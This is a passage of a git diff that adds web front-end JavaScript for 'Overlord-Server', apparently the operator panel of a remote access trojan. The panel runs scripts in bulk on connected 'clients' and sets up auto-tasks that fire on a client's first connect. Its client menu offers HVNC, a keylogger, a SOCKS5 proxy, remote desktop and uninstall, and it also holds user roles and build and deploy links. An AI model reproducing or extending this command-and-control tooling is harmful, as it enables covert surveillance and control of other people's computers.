+ if (data.role === "viewer") {
+ alert("Access denied. Operator or Admin role required.");
+ window.location.href = "/";
+ }
+ } catch (err) {
+ console.error("Auth check failed:", err);
+ window.location.href = "/login.html";
+ }
+}
+
+async function loadClients() {
+ try {
+ const res = await fetch("/api/clients?pageSize=10000");
+ if (!res.ok) throw new Error("Failed to load clients");
+
+ const data = await res.json();
+ allClients = data.items.filter((c) => c.online);
+
+ if (allClients.length === 0) {
+ clientList.innerHTML = 'No online clients available
';
+ return;
+ }
+
+ // Populate OS filter
+ const osList = new Set(allClients.map(c => c.os || "unknown"));
+ osFilter.innerHTML = 'All OS (' + allClients.length + ') ' +
+ Array.from(osList).sort().map(os => {
+ const count = allClients.filter(c => (c.os || "unknown") === os).length;
+ return `${escapeHtml(os)} (${count}) `;
+ }).join("");
+
+ filterAndRenderClients();
+ } catch (error) {
+ console.error("Failed to load clients:", error);
+ clientList.innerHTML = 'Error loading clients
';
+ }
+}
+
+function filterAndRenderClients() {
+ const searchTerm = clientSearch.value.toLowerCase();
+ const osValue = osFilter.value;
+
+ filteredClients = allClients.filter(c => {
+ const matchesSearch = !searchTerm ||
+ (c.host && c.host.toLowerCase().includes(searchTerm)) ||
+ c.id.toLowerCase().includes(searchTerm) ||
+ (c.os && c.os.toLowerCase().includes(searchTerm)) ||
+ (c.user && c.user.toLowerCase().includes(searchTerm));
+
+ const matchesOs = osValue === "all" || (c.os || "unknown") === osValue;
+
+ return matchesSearch && matchesOs;
+ });
+
+ renderClients();
+}
+
+function renderClients() {
+ if (filteredClients.length === 0) {
+ clientList.innerHTML = 'No clients match your filters
';
+ return;
+ }
+
+ clientList.innerHTML = filteredClients.map(c => {
+ const name = c.host || c.id.substring(0, 8);
+ const os = c.os || "unknown";
+ const isSelected = selectedClients.has(c.id);
+
+ return `
+
+
+
+
${escapeHtml(name)}
+
+ ${escapeHtml(os)}
+ ${c.user ? `• ${escapeHtml(c.user)} ` : ''}
+ • ${c.id.substring(0, 8)}
+
+
+
+ Online
+
+
+ `;
+ }).join("");
+
+ clientList.querySelectorAll('.client-checkbox').forEach(cb => {
+ cb.addEventListener('change', handleClientToggle);
+ });
+
+ updateSelectedCount();
+}
+
+function handleClientToggle(e) {
+ const clientId = e.target.dataset.id;
+ if (e.target.checked) {
+ selectedClients.add(clientId);
+ } else {
+ selectedClients.delete(clientId);
+ }
+ updateSelectedCount();
+}
+
+function updateSelectedCount() {
+ selectedCountSpan.textContent = `${selectedClients.size} selected`;
+ executeBtn.disabled = selectedClients.size === 0;
+}
+
+function escapeHtml(text) {
+ const div = document.createElement('div');
+ div.textContent = text;
+ return div.innerHTML;
+}
+
+function getSavedScripts() {
+ try {
+ const items = JSON.parse(localStorage.getItem(SAVED_SCRIPTS_KEY) || "[]");
+ return Array.isArray(items) ? items : [];
+ } catch (err) {
+ console.error("Failed to load saved scripts:", err);
+ return [];
+ }
+}
+
+function setSavedScripts(scripts) {
+ try {
+ const trimmed = scripts.slice(0, 50);
+ localStorage.setItem(SAVED_SCRIPTS_KEY, JSON.stringify(trimmed));
+ } catch (err) {
+ console.error("Failed to save scripts:", err);
+ }
+}
+
+function renderSavedScripts() {
+ const scripts = getSavedScripts().sort((a, b) => b.updatedAt - a.updatedAt);
+
+ if (scripts.length === 0) {
+ savedScriptsList.innerHTML = 'No saved scripts yet.
';
+ return;
+ }
+
+ savedScriptsList.innerHTML = scripts.map((s) => {
+ return `
+
+
+
${escapeHtml(s.name)}
+
${escapeHtml(s.type)} • ${new Date(s.updatedAt).toLocaleString()}
+
+
+
+ Load
+
+
+ Delete
+
+
+
+ `;
+ }).join("");
+
+ savedScriptsList.querySelectorAll(".load-saved-script").forEach((btn) => {
+ btn.addEventListener("click", () => {
+ const id = btn.dataset.id;
+ const scripts = getSavedScripts();
+ const script = scripts.find((s) => s.id === id);
+ if (!script) return;
+ setEditorValue(script.content);
+ scriptType.value = script.type;
+ scriptSaveName.value = script.name;
+ setEditorMode(script.type);
+ showToast("Script loaded", "success", 3000);
+ });
+ });
+
+ savedScriptsList.querySelectorAll(".delete-saved-script").forEach((btn) => {
+ btn.addEventListener("click", () => {
+ const id = btn.dataset.id;
+ const scripts = getSavedScripts().filter((s) => s.id !== id);
+ setSavedScripts(scripts);
+ renderSavedScripts();
+ showToast("Saved script deleted", "info", 3000);
+ });
+ });
+}
+
+function saveCurrentScript() {
+ const name = scriptSaveName.value.trim();
+ const content = getEditorValue().trim();
+ const type = scriptType.value;
+
+ if (!name) {
+ showToast("Please provide a name for the script", "warning", 3000);
+ return;
+ }
+
+ if (!content) {
+ showToast("Script is empty", "warning", 3000);
+ return;
+ }
+
+ const scripts = getSavedScripts();
+ const existing = scripts.find((s) => s.name.toLowerCase() === name.toLowerCase());
+
+ if (existing) {
+ const ok = confirm("A script with this name already exists. Overwrite it?");
+ if (!ok) return;
+ existing.content = content;
+ existing.type = type;
+ existing.updatedAt = Date.now();
+ } else {
+ scripts.push({
+ id: `script-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`,
+ name,
+ content,
+ type,
+ createdAt: Date.now(),
+ updatedAt: Date.now(),
+ });
+ }
+
+ setSavedScripts(scripts);
+ renderSavedScripts();
+ showToast("Script saved", "success", 3000);
+}
+
+function triggerLabel(trigger) {
+ if (trigger === "on_first_connect") return "On first connect";
+ if (trigger === "on_connect_once") return "On connect (once)";
+ return "On connect";
+}
+
+function resetAutoTaskForm() {
+ autoTaskEditingId = null;
+ autoTaskName.value = "";
+ autoTaskTrigger.value = "on_connect";
+ autoTaskCancelBtn.classList.add("hidden");
+ autoTaskSaveBtn.innerHTML = ' Save Auto Task';
+}
+
+function setAutoTaskForm(task) {
+ autoTaskEditingId = task.id;
+ autoTaskName.value = task.name || "";
+ autoTaskTrigger.value = task.trigger || "on_connect";
+ scriptType.value = task.scriptType || "powershell";
+ setEditorMode(scriptType.value);
+ setEditorValue(task.script || "");
+ autoTaskCancelBtn.classList.remove("hidden");
+ autoTaskSaveBtn.innerHTML = ' Update Auto Task';
+}
+
+async function loadAutoTasks() {
+ if (!autoTaskList) return;
+ try {
+ const res = await fetch("/api/auto-scripts");
+ if (!res.ok) throw new Error("Failed to load auto tasks");
+ const data = await res.json();
+ autoTasks = Array.isArray(data.items) ? data.items : [];
+ renderAutoTasks();
+ } catch (err) {
+ console.error("Failed to load auto tasks:", err);
+ autoTaskList.innerHTML = 'Error loading auto tasks
';
+ }
+}
+
+function renderAutoTasks() {
+ if (!autoTaskList) return;
+ if (autoTasks.length === 0) {
+ autoTaskList.innerHTML = 'No auto tasks yet.
';
+ return;
+ }
+
+ autoTaskList.innerHTML = autoTasks
+ .map((task) => {
+ return `
+
+
+
${escapeHtml(task.name)}
+
${escapeHtml(triggerLabel(task.trigger))} • ${escapeHtml(task.scriptType)}
+
+
+
+
+ Enabled
+
+
+ Edit
+
+
+ Delete
+
+
+
+ `;
+ })
+ .join("");
+
+ autoTaskList.querySelectorAll(".auto-task-toggle").forEach((toggle) => {
+ toggle.addEventListener("change", async () => {
+ const id = toggle.dataset.id;
+ const enabled = toggle.checked;
+ try {
+ const res = await fetch(`/api/auto-scripts/${id}`,
+ {
+ method: "PUT",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify({ enabled }),
+ });
+ if (!res.ok) throw new Error("Update failed");
+ showToast(`Auto task ${enabled ? "enabled" : "disabled"}`, "success", 2500);
+ loadAutoTasks();
+ } catch (err) {
+ console.error("Failed to update auto task:", err);
+ showToast("Failed to update auto task", "error", 3000);
+ toggle.checked = !enabled;
+ }
+ });
+ });
+
+ autoTaskList.querySelectorAll(".auto-task-edit").forEach((btn) => {
+ btn.addEventListener("click", () => {
+ const id = btn.dataset.id;
+ const task = autoTasks.find((t) => t.id === id);
+ if (!task) return;
+ setAutoTaskForm(task);
+ });
+ });
+
+ autoTaskList.querySelectorAll(".auto-task-delete").forEach((btn) => {
+ btn.addEventListener("click", async () => {
+ const id = btn.dataset.id;
+ const task = autoTasks.find((t) => t.id === id);
+ const ok = confirm(`Delete auto task "${task?.name || ""}"?`);
+ if (!ok) return;
+ try {
+ const res = await fetch(`/api/auto-scripts/${id}`, { method: "DELETE" });
+ if (!res.ok) throw new Error("Delete failed");
+ showToast("Auto task deleted", "info", 2500);
+ if (autoTaskEditingId === id) resetAutoTaskForm();
+ loadAutoTasks();
+ } catch (err) {
+ console.error("Failed to delete auto task:", err);
+ showToast("Failed to delete auto task", "error", 3000);
+ }
+ });
+ });
+}
+
+async function saveAutoTask() {
+ if (!autoTaskName || !autoTaskTrigger || !scriptType) return;
+ const name = autoTaskName.value.trim();
+ const trigger = autoTaskTrigger.value;
+ const scriptTypeValue = scriptType.value;
+ const script = getEditorValue();
+
+ if (!name) {
+ showToast("Please provide a task name", "warning", 3000);
+ return;
+ }
+ if (!script.trim()) {
+ showToast("Script is empty", "warning", 3000);
+ return;
+ }
+
+ autoTaskSaveBtn.disabled = true;
+ try {
+ const payload = { name, trigger, script, scriptType: scriptTypeValue };
+ const res = await fetch(autoTaskEditingId ? `/api/auto-scripts/${autoTaskEditingId}` : "/api/auto-scripts", {
+ method: autoTaskEditingId ? "PUT" : "POST",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify(payload),
+ });
+ if (!res.ok) throw new Error("Save failed");
+ showToast(autoTaskEditingId ? "Auto task updated" : "Auto task created", "success", 2500);
+ resetAutoTaskForm();
+ loadAutoTasks();
+ } catch (err) {
+ console.error("Failed to save auto task:", err);
+ showToast("Failed to save auto task", "error", 3000);
+ } finally {
+ autoTaskSaveBtn.disabled = false;
+ }
+}
+
+clientSearch.addEventListener("input", filterAndRenderClients);
+osFilter.addEventListener("change", filterAndRenderClients);
+
+selectAllBtn.addEventListener("click", () => {
+ filteredClients.forEach(c => selectedClients.add(c.id));
+ renderClients();
+});
+
+clearSelectionBtn.addEventListener("click", () => {
+ selectedClients.clear();
+ renderClients();
+});
+
+document.querySelectorAll(".template-btn").forEach((btn) => {
+ btn.addEventListener("click", () => {
+ const script = btn.dataset.script;
+ const type = btn.dataset.type;
+ setEditorValue(script);
+ scriptType.value = type;
+ setEditorMode(type);
+ });
+});
+
+executeBtn.addEventListener("click", async () => {
+ if (selectedClients.size === 0) {
+ alert("Please select at least one client");
+ return;
+ }
+
+ const script = getEditorValue().trim();
+ if (!script) {
+ alert("Please enter a script to execute");
+ return;
+ }
+
+ executeBtn.disabled = true;
+ const clientIds = Array.from(selectedClients);
+ outputContainer.innerHTML = `Executing script on ${clientIds.length} client(s)...
`;
+
+ const results = [];
+
+ for (const clientId of clientIds) {
+ const client = allClients.find(c => c.id === clientId);
+ const clientName = client ? (client.host || clientId.substring(0, 8)) : clientId.substring(0, 8);
+
+ try {
+ const res = await fetch(`/api/clients/${clientId}/command`, {
+ method: "POST",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify({
+ action: "script_exec",
+ script: script,
+ scriptType: scriptType.value,
+ }),
+ });
+
+ if (!res.ok) {
+ results.push({ clientName, clientId, error: `HTTP error! status: ${res.status}` });
+ continue;
+ }
+
+ const data = await res.json();
+ if (!data.ok) {
+ results.push({ clientName, clientId, error: data.error || "Unknown error" });
+ continue;
+ }
+
+ results.push({ clientName, clientId, output: data.result || "(no output)" });
+ } catch (error) {
+ results.push({ clientName, clientId, error: error.message });
+ }
+ }
+
+ outputContainer.innerHTML = results.map(r => {
+ if (r.error) {
+ return `
+
━━━ ${escapeHtml(r.clientName)} (${escapeHtml(r.clientId.substring(0, 8))}) ━━━
+
Error: ${escapeHtml(r.error)}
+
`;
+ }
+ return `
+
━━━ ${escapeHtml(r.clientName)} (${escapeHtml(r.clientId.substring(0, 8))}) ━━━
+
${escapeHtml(r.output)}
+
`;
+ }).join("");
+
+ executeBtn.disabled = false;
+});
+
+clearOutputBtn.addEventListener("click", () => {
+ outputContainer.innerHTML =
+ 'No output yet. Execute a script to see results.
';
+});
+
+saveScriptBtn?.addEventListener("click", saveCurrentScript);
+scriptSaveName?.addEventListener("keypress", (e) => {
+ if (e.key === "Enter") {
+ saveCurrentScript();
+ }
+});
+
+autoTaskSaveBtn?.addEventListener("click", saveAutoTask);
+autoTaskCancelBtn?.addEventListener("click", resetAutoTaskForm);
+
+scriptType?.addEventListener("change", () => {
+ setEditorMode(scriptType.value);
+});
+
+checkAuth();
+loadClients();
+renderSavedScripts();
+loadAutoTasks();
+
+if (window.CodeMirror && scriptEditor) {
+ editorInstance = window.CodeMirror.fromTextArea(scriptEditor, {
+ lineNumbers: true,
+ mode: EDITOR_MODES[scriptType?.value || "powershell"] || "powershell",
+ theme: "material-darker",
+ indentUnit: 2,
+ tabSize: 2,
+ lineWrapping: true,
+ });
+ editorInstance.setSize(null, "100%");
+}
diff --git a/Overlord-Server/public/assets/state.js b/Overlord-Server/public/assets/state.js
new file mode 100644
index 0000000..35fe762
--- /dev/null
+++ b/Overlord-Server/public/assets/state.js
@@ -0,0 +1,12 @@
+export const state = {
+ page: 1,
+ pageSize: 12,
+ searchTerm: "",
+ sort: "last_seen_desc",
+ filterStatus: "all",
+ filterOs: "all",
+ lastDigest: "",
+ isLoading: false,
+ pendingForce: false,
+ thumbnailsRequested: false,
+};
diff --git a/Overlord-Server/public/assets/toast.js b/Overlord-Server/public/assets/toast.js
new file mode 100644
index 0000000..fe3678c
--- /dev/null
+++ b/Overlord-Server/public/assets/toast.js
@@ -0,0 +1,86 @@
+let toastContainer = null;
+let toastId = 0;
+
+function ensureToastContainer() {
+ if (!toastContainer) {
+ toastContainer = document.createElement("div");
+ toastContainer.className = "toast-container";
+ document.body.appendChild(toastContainer);
+ }
+ return toastContainer;
+}
+
+function showToast(message, type = "info", duration = 4000) {
+ const container = ensureToastContainer();
+ const id = ++toastId;
+
+ const icons = {
+ success: "fa-circle-check",
+ error: "fa-circle-xmark",
+ info: "fa-circle-info",
+ warning: "fa-triangle-exclamation",
+ };
+
+ const titles = {
+ success: "Success",
+ error: "Error",
+ info: "Info",
+ warning: "Warning",
+ };
+
+ const toast = document.createElement("div");
+ toast.className = `toast toast-${type}`;
+ toast.id = `toast-${id}`;
+ toast.style.opacity = "0";
+ toast.innerHTML = `
+
+
+ `;
+
+ const messageEl = toast.querySelector(".toast-message");
+ if (messageEl) {
+ messageEl.textContent = message;
+ }
+
+ const closeBtn = toast.querySelector(".toast-close");
+ if (closeBtn) {
+ closeBtn.addEventListener("click", () => closeToast(id));
+ }
+
+ container.appendChild(toast);
+
+ setTimeout(() => {
+ toast.style.opacity = "1";
+ }, 50);
+
+ if (duration > 0) {
+ setTimeout(() => closeToast(id), duration);
+ }
+
+ return id;
+}
+
+function closeToast(id) {
+ const toast = document.getElementById(`toast-${id}`);
+ if (toast) {
+ toast.classList.add("removing");
+ setTimeout(() => {
+ toast.remove();
+ if (toastContainer && toastContainer.children.length === 0) {
+ toastContainer.remove();
+ toastContainer = null;
+ }
+ }, 300);
+ }
+}
+
+window.showToast = showToast;
+window.closeToast = closeToast;
diff --git a/Overlord-Server/public/assets/ui.js b/Overlord-Server/public/assets/ui.js
new file mode 100644
index 0000000..4321d47
--- /dev/null
+++ b/Overlord-Server/public/assets/ui.js
@@ -0,0 +1,92 @@
+const menu = document.createElement("div");
+menu.id = "command-menu";
+menu.className =
+ "fixed z-50 w-48 hidden flex-col gap-1.5 rounded-xl border border-slate-800 bg-slate-900/90 p-3 shadow-xl backdrop-blur overflow-y-auto overscroll-contain";
+menu.style.maxHeight = "min(70vh, 520px)";
+menu.innerHTML = `
+ Open Console
+ Remote Desktop
+ HVNC
+ File Browser
+ Process Manager
+
+ Keylogger
+ SOCKS5 Proxy
+
+ Ping
+ Reconnect
+ Disconnect
+ Uninstall
+
+`;
+document.body.appendChild(menu);
+
+const modal = document.createElement("div");
+modal.className =
+ "modal fixed inset-0 z-40 hidden items-center justify-center bg-black/80 backdrop-blur";
+modal.innerHTML = ``;
+document.body.appendChild(modal);
+const modalImg = modal.querySelector("#modal-img");
+
+export function openMenu(clientId, x, y, setContext) {
+ if (setContext) setContext(clientId);
+ menu.classList.remove("hidden");
+
+ const menuWidth = 192;
+ const menuHeight = menu.offsetHeight || 400;
+ const viewportWidth = window.innerWidth;
+ const viewportHeight = window.innerHeight;
+
+ let left = x;
+ if (left + menuWidth > viewportWidth - 10) {
+ left = viewportWidth - menuWidth - 10;
+ }
+ if (left < 10) left = 10;
+
+ let top = y;
+ if (top + menuHeight > viewportHeight - 10) {
+ top = viewportHeight - menuHeight - 10;
+ }
+ if (top < 10) top = 10;
+
+ menu.style.left = `${left}px`;
+ menu.style.top = `${top}px`;
+}
+
+export function closeMenu(clearContext) {
+ menu.classList.add("hidden");
+ if (clearContext) clearContext();
+}
+
+export function openModal(src) {
+ if (!src) return;
+
+ modalImg.src = "";
+
+ setTimeout(() => {
+ modalImg.src = src;
+ modal.classList.remove("hidden");
+ modal.classList.add("flex");
+ }, 10);
+}
+
+export function closeModal() {
+ modal.classList.remove("flex");
+ modal.classList.add("hidden");
+}
+
+export function wireModalClose() {
+ modal.addEventListener("click", closeModal);
+ window.addEventListener("keydown", (e) => {
+ if (e.key === "Escape") {
+ closeModal();
+ closeMenu();
+ }
+ });
+}
+
+export { menu, modal };
diff --git a/Overlord-Server/public/assets/users.js b/Overlord-Server/public/assets/users.js
new file mode 100644
index 0000000..68679b3
--- /dev/null
+++ b/Overlord-Server/public/assets/users.js
@@ -0,0 +1,415 @@
+let currentUser = null;
+let users = [];
+
+const usersTableBody = document.getElementById("users-table-body");
+const addUserBtn = document.getElementById("add-user-btn");
+const userModal = document.getElementById("user-modal");
+const modalTitle = document.getElementById("modal-title");
+const userForm = document.getElementById("user-form");
+const closeModal = document.getElementById("close-modal");
+const cancelBtn = document.getElementById("cancel-btn");
+const errorMessage = document.getElementById("error-message");
+const errorText = document.getElementById("error-text");
+const logoutBtn = document.getElementById("logout-btn");
+const currentUserEl = document.getElementById("username-display");
+const currentRoleEl = document.getElementById("role-badge");
+
+async function getCurrentUser() {
+ try {
+ const res = await fetch("/api/auth/me");
+ if (res.ok) {
+ currentUser = await res.json();
+ currentUserEl.textContent = currentUser.username;
+
+ const roleBadges = {
+ admin: ' Admin',
+ operator: ' Operator',
+ viewer: ' Viewer',
+ };
+ if (roleBadges[currentUser.role]) {
+ currentRoleEl.innerHTML = roleBadges[currentUser.role];
+ } else {
+ currentRoleEl.textContent = currentUser.role || "";
+ }
+
+ if (currentUser.role === "admin") {
+ currentRoleEl.classList.add(
+ "bg-purple-900/50",
+ "text-purple-300",
+ "border",
+ "border-purple-800",
+ );
+ } else if (currentUser.role === "operator") {
+ currentRoleEl.classList.add(
+ "bg-blue-900/50",
+ "text-blue-300",
+ "border",
+ "border-blue-800",
+ );
+ } else {
+ currentRoleEl.classList.add(
+ "bg-slate-700",
+ "text-slate-300",
+ "border",
+ "border-slate-600",
+ );
+ }
+
+ if (currentUser.role === "admin") {
+ document.getElementById("metrics-link")?.classList.remove("hidden");
+ document.getElementById("scripts-link")?.classList.remove("hidden");
+ document.getElementById("build-link")?.classList.remove("hidden");
+ document.getElementById("users-link")?.classList.remove("hidden");
+ document.getElementById("plugins-link")?.classList.remove("hidden");
+ document.getElementById("deploy-link")?.classList.remove("hidden");
+ } else if (currentUser.role === "operator") {
+ document.getElementById("metrics-link")?.classList.remove("hidden");
+ document.getElementById("scripts-link")?.classList.remove("hidden");
+ document.getElementById("build-link")?.classList.remove("hidden");
+ }
+
+ if (currentUser.role !== "admin") {
+ alert("Access denied. Admin role required.");
+ window.location.href = "/";
+ }
+ } else {
+ window.location.href = "/login.html";
+ }
+ } catch (err) {
+ console.error("Failed to get current user:", err);
+ window.location.href = "/login.html";
+ }
+}
+
+if (logoutBtn && !logoutBtn.dataset.boundLogout) {
+ logoutBtn.dataset.boundLogout = "true";
+ logoutBtn.addEventListener("click", async () => {
+ if (!confirm("Are you sure you want to logout?")) return;
+
+ try {
+ const res = await fetch("/api/logout", { method: "POST" });
+ if (res.ok) {
+ window.location.href = "/";
+ } else {
+ alert("Logout failed. Please try again.");
+ }
+ } catch (err) {
+ console.error("Logout error:", err);
+ alert("Logout failed. Please try again.");
+ }
+ });
+}
+
+async function loadUsers() {
+ try {
+ const res = await fetch("/api/users");
+ if (!res.ok) {
+ throw new Error("Failed to load users");
+ }
+
+ const data = await res.json();
+ users = data.users || [];
+ renderUsers();
+ } catch (err) {
+ console.error("Load users error:", err);
+ usersTableBody.innerHTML = `
+
+
+
+ Failed to load users
+
+
+ `;
+ }
+}
+
+function renderUsers() {
+ if (users.length === 0) {
+ usersTableBody.innerHTML = `
+
+
+
+ No users found
+
+
+ `;
+ return;
+ }
+
+ usersTableBody.innerHTML = users
+ .map(
+ (user) => `
+
+
+
+
+ ${escapeHtml(user.username)}
+ ${user.id === currentUser?.userId ? '(You) ' : ""}
+
+
+
+ ${getRoleBadge(user.role)}
+
+
+ ${formatDate(user.created_at)}
+
+
+ ${user.last_login ? formatDate(user.last_login) : 'Never '}
+
+
+ ${escapeHtml(user.created_by || "System")}
+
+
+
+ ${
+ user.id !== currentUser?.userId
+ ? `
+
+
+
+
+
+
+
+
+
+ `
+ : 'Cannot edit yourself '
+ }
+
+
+
+ `,
+ )
+ .join("");
+
+ attachActionListeners();
+}
+
+function getRoleBadge(role) {
+ const badges = {
+ admin:
+ ' Admin ',
+ operator:
+ ' Operator ',
+ viewer:
+ ' Viewer ',
+ };
+ return badges[role] || escapeHtml(role || "");
+}
+
+function attachActionListeners() {
+ const oldListener = usersTableBody._actionListener;
+ if (oldListener) {
+ usersTableBody.removeEventListener("click", oldListener);
+ }
+
+ const listener = (e) => {
+ const btn = e.target.closest(".user-action-btn");
+ if (!btn) return;
+
+ const action = btn.dataset.action;
+ const userId = parseInt(btn.dataset.userId);
+ const username = btn.dataset.username;
+ const role = btn.dataset.role;
+
+ switch (action) {
+ case "change-password":
+ changePassword(userId, username);
+ break;
+ case "change-role":
+ changeRole(userId, username, role);
+ break;
+ case "delete":
+ deleteUser(userId, username);
+ break;
+ }
+ };
+
+ usersTableBody.addEventListener("click", listener);
+ usersTableBody._actionListener = listener;
+}
+
+function formatDate(timestamp) {
+ const date = new Date(timestamp);
+ return date.toLocaleString();
+}
+
+function escapeHtml(text) {
+ const div = document.createElement("div");
+ div.textContent = text;
+ return div.innerHTML;
+}
+
+function showModal(title) {
+ modalTitle.textContent = title;
+ userModal.classList.remove("hidden");
+ errorMessage.classList.add("hidden");
+ userForm.reset();
+}
+
+function hideModal() {
+ userModal.classList.add("hidden");
+ userForm.reset();
+}
+
+function showError(message) {
+ errorText.textContent = message;
+ errorMessage.classList.remove("hidden");
+}
+
+addUserBtn.addEventListener("click", () => {
+ showModal("Add User");
+ document.getElementById("password-field").classList.remove("hidden");
+ document.getElementById("password").required = true;
+});
+
+closeModal.addEventListener("click", hideModal);
+cancelBtn.addEventListener("click", hideModal);
+
+userForm.addEventListener("submit", async (e) => {
+ e.preventDefault();
+
+ const formData = new FormData(userForm);
+ const username = formData.get("username");
+ const password = formData.get("password");
+ const role = formData.get("role");
+
+ try {
+ const res = await fetch("/api/users", {
+ method: "POST",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify({ username, password, role }),
+ });
+
+ const data = await res.json();
+
+ if (res.ok) {
+ hideModal();
+ await loadUsers();
+ } else {
+ showError(data.error || "Failed to create user");
+ }
+ } catch (err) {
+ console.error("Create user error:", err);
+ showError("Network error. Please try again.");
+ }
+});
+
+window.changePassword = async function (userId, username) {
+ const password = prompt(`Enter new password for ${username}:`);
+ if (!password) return;
+
+ if (password.length < 6) {
+ alert("Password must be at least 6 characters");
+ return;
+ }
+
+ try {
+ const res = await fetch(`/api/users/${userId}/password`, {
+ method: "PUT",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify({ password }),
+ });
+
+ const data = await res.json();
+
+ if (res.ok) {
+ alert("Password updated successfully");
+ } else {
+ alert(data.error || "Failed to update password");
+ }
+ } catch (err) {
+ console.error("Update password error:", err);
+ alert("Network error. Please try again.");
+ }
+};
+
+window.changeRole = async function (userId, username, currentRole) {
+ const roles = ["viewer", "operator", "admin"];
+ const roleNames = { viewer: "Viewer", operator: "Operator", admin: "Admin" };
+
+ const message = `Select new role for ${username}:\n\n1. Viewer (Read-only)\n2. Operator (Control clients)\n3. Admin (Full access)\n\nCurrent: ${roleNames[currentRole]}`;
+ const choice = prompt(message);
+
+ if (!choice || !["1", "2", "3"].includes(choice)) return;
+
+ const newRole = roles[parseInt(choice) - 1];
+
+ if (newRole === currentRole) {
+ alert("No change made");
+ return;
+ }
+
+ if (!confirm(`Change ${username}'s role to ${roleNames[newRole]}?`)) return;
+
+ try {
+ const res = await fetch(`/api/users/${userId}/role`, {
+ method: "PUT",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify({ role: newRole }),
+ });
+
+ const data = await res.json();
+
+ if (res.ok) {
+ alert("Role updated successfully");
+ await loadUsers();
+ } else {
+ alert(data.error || "Failed to update role");
+ }
+ } catch (err) {
+ console.error("Update role error:", err);
+ alert("Network error. Please try again.");
+ }
+};
+
+window.deleteUser = async function (userId, username) {
+ if (
+ !confirm(
+ `Are you sure you want to delete user "${username}"? This action cannot be undone.`,
+ )
+ ) {
+ return;
+ }
+
+ try {
+ const res = await fetch(`/api/users/${userId}`, {
+ method: "DELETE",
+ });
+
+ const data = await res.json();
+
+ if (res.ok) {
+ alert("User deleted successfully");
+ await loadUsers();
+ } else {
+ alert(data.error || "Failed to delete user");
+ }
+ } catch (err) {
+ console.error("Delete user error:", err);
+ alert("Network error. Please try again.");
+ }
+};
+
+getCurrentUser();
+loadUsers();
diff --git a/Overlord-Server/public/assets/utils.js b/Overlord-Server/public/assets/utils.js
new file mode 100644
index 0000000..095bd6c
--- /dev/null
+++ b/Overlord-Server/public/assets/utils.js
@@ -0,0 +1,34 @@
+export function debounce(fn, delayMs) {
+ let t;
+ return (...args) => {
+ clearTimeout(t);
+ t = setTimeout(() => fn(...args), delayMs);
+ };
+}
+
+export function digestData(data, { page, pageSize, searchTerm, sort }) {
+ const items =
+ data.items?.map((c) => ({
+ id: c.id,
+ online: !!c.online,
+ lastSeen: c.lastSeen,
+ ping: c.pingMs,
+ host: c.host,
+ user: c.user,
+ thumbnail: c.thumbnail,
+ version: c.version,
+ country: c.country,
+ arch: c.arch,
+ os: c.os,
+ monitors: c.monitors,
+ })) || [];
+ return JSON.stringify({
+ page,
+ pageSize,
+ searchTerm,
+ sort,
+ total: data.total,
+ online: data.online,
+ items,
+ });
+}
diff --git a/Overlord-Server/public/assets/viewUtils.js b/Overlord-Server/public/assets/viewUtils.js
new file mode 100644
index 0000000..94450af
--- /dev/null
+++ b/Overlord-Server/public/assets/viewUtils.js
@@ -0,0 +1,83 @@
+export function countryToFlag(code) {
+ const fallback = ` `;
+ if (!code) return fallback;
+ const cc = String(code).trim().toLowerCase();
+
+ if (!/^[a-z]{2}$/.test(cc) || cc === "zz") return fallback;
+ return ` `;
+}
+
+export function formatPing(ms) {
+ if (ms === null || ms === undefined) return "measuring…";
+ return `${ms} ms`;
+}
+
+export function formatAgo(ts) {
+ const delta = Date.now() - ts;
+ const minutes = Math.floor(delta / 60000);
+ if (minutes < 1) return "just now";
+ if (minutes === 1) return "1 minute ago";
+ if (minutes < 60) return `${minutes} minutes ago`;
+ const hours = Math.floor(minutes / 60);
+ if (hours === 1) return "1 hour ago";
+ if (hours < 24) return `${hours} hours ago`;
+ const days = Math.floor(hours / 24);
+ return `${days}d ago`;
+}
+
+export function shortId(id = "") {
+ if (!id) return "unknown";
+ return id.length <= 8 ? id : `${id.slice(0, 6)}…${id.slice(-2)}`;
+}
+
+export function osBadge(osRaw = "") {
+ const os = osRaw.toLowerCase();
+ const base = {
+ label: osRaw || "Unknown",
+ icon: "fa-linux",
+ tone: "pill-unknown",
+ };
+ if (os.includes("windows"))
+ return { label: "Windows", icon: "fa-brands fa-windows", tone: "pill-win" };
+ if (os.includes("mac") || os.includes("darwin"))
+ return { label: "macOS", icon: "fa-brands fa-apple", tone: "pill-mac" };
+ if (os.includes("ubuntu"))
+ return { label: "Ubuntu", icon: "fa-brands fa-linux", tone: "pill-ubuntu" };
+ if (os.includes("debian"))
+ return { label: "Debian", icon: "fa-brands fa-linux", tone: "pill-debian" };
+ if (os.includes("arch"))
+ return { label: "Arch", icon: "fa-brands fa-linux", tone: "pill-arch" };
+ if (os.includes("kali"))
+ return { label: "Kali", icon: "fa-brands fa-linux", tone: "pill-kali" };
+ if (os.includes("fedora"))
+ return { label: "Fedora", icon: "fa-brands fa-linux", tone: "pill-fedora" };
+ if (os.includes("linux"))
+ return { label: "Linux", icon: "fa-brands fa-linux", tone: "pill-linux" };
+ return base;
+}
+
+export function archBadge(archRaw = "") {
+ const arch = archRaw.toLowerCase();
+ if (arch.includes("arm"))
+ return { label: archRaw || "ARM", icon: "fa-microchip", tone: "pill-arm" };
+ if (arch.includes("64") || arch.includes("x86") || arch.includes("amd"))
+ return { label: archRaw || "x64", icon: "fa-microchip", tone: "pill-x64" };
+ if (!archRaw)
+ return { label: "arch?", icon: "fa-microchip", tone: "pill-unknown" };
+ return { label: archRaw, icon: "fa-microchip", tone: "pill-ghost" };
+}
+
+export function versionBadge(versionRaw = "") {
+ const label = versionRaw ? `v${versionRaw}` : "v0";
+ return {
+ label,
+ icon: "fa-tag",
+ tone: versionRaw ? "pill-version" : "pill-unknown",
+ };
+}
+
+export function monitorsBadge(count) {
+ const n = Number(count) || 1;
+ const label = `${n} monitor${n > 1 ? "s" : ""}`;
+ return { label, icon: "fa-display", tone: "pill-ghost" };
+}
diff --git a/Overlord-Server/public/build.html b/Overlord-Server/public/build.html
new file mode 100644
index 0000000..60e4d22
--- /dev/null
